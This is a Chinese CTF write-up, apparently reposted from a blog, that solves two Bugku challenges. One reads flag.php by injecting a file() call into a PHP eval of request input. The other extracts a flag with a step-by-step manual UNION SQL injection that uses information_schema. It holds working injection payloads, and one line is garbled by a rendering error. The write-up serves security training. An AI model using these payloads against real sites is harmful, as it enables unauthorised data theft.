BUGKU_(本地包含+成绩单)

本地包含

在网页中新建标签页打开链接后出现以下一些PHP代码,
在这里插入图片描述include “flag.php” 包含flag。。。

下面解析这段代码:

r e q u e s t 这 个 变 量 和 _request这个变量和 request_GET、$_POST一样,都属于超级全局变量,运行时修改后者不会影响前者,修改后者不会影响前者。在这里可以以get/post/cookies等方式把以hello为名的东西提交过来
eval函数是将字符串当命令直接执行
最后一句show_source() 函数对文件进行语法高亮显示。

通过构造名字为hello的攻击命令,把flag.php里面的代码以数组形式输出出来。
通过在url里构造攻击命令:?hello=file(“flag.php”)

在这里file()函数的作用是读取文件,然后以数组的形式返回

最后得到如下代码块

array(5) { [0]=> string(7) " string(34) " $flag = 'Too Young Too Simple'; " [2]=> string(16) " # echo $flag; " [3]=> string(25) " # flag{bug-ctf-gg-99}; " [4]=> string(2) "?>" } <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

flag{bug-ctf-gg-99}

成绩单

Ctrl+u 查看源代码,
在这里插入图片描述name=id,且为post传参。

输入数据发现只有当1.2.3时有效,
用hackbar在id后面加英文的单引号,发现报错
在这里插入图片描述
在单引号后面加注释符号又恢复正常,

在这里插入图片描述证明确实是SQL注入,下面进行手工注入

先查字段,刚才已经知道有三个数据,直接从4开始,order by 4#,发现返回正常,改为5之后,没有回显,说明有四个字段,
爆库名,id=-1’ union select 1,2,3,4
把id变为-1是因为如果id有回显的话,我们查询的东西就不能显示了,所以要换一个id没有东西的数值

在这里插入图片描述

知道他们出现的位置,接下来才是真的暴库,
id=-1’ union select 1,database(),user(),version()#
得到数据库名skctf_flag

在这里插入图片描述

然后暴表名(固定格式)
id=-1’ union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#
得到两个表名fl4g,sc

在这里插入图片描述

接下来就是暴列名了
id=-1’ union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name=‘fl4g’#
取得列名为skctf_flag

在这里插入图片描述
最后查询数据
id=-1’ union select 1,skctf_flag,user(),version() from fl4g#
得到FLAG BUGKU{Sql_INJECT0N_4813drd8hz4}

在这里插入图片描述

注释:
MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等

查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了

猜你喜欢

转载自blog.csdn.net/qq_44832048/article/details/102769301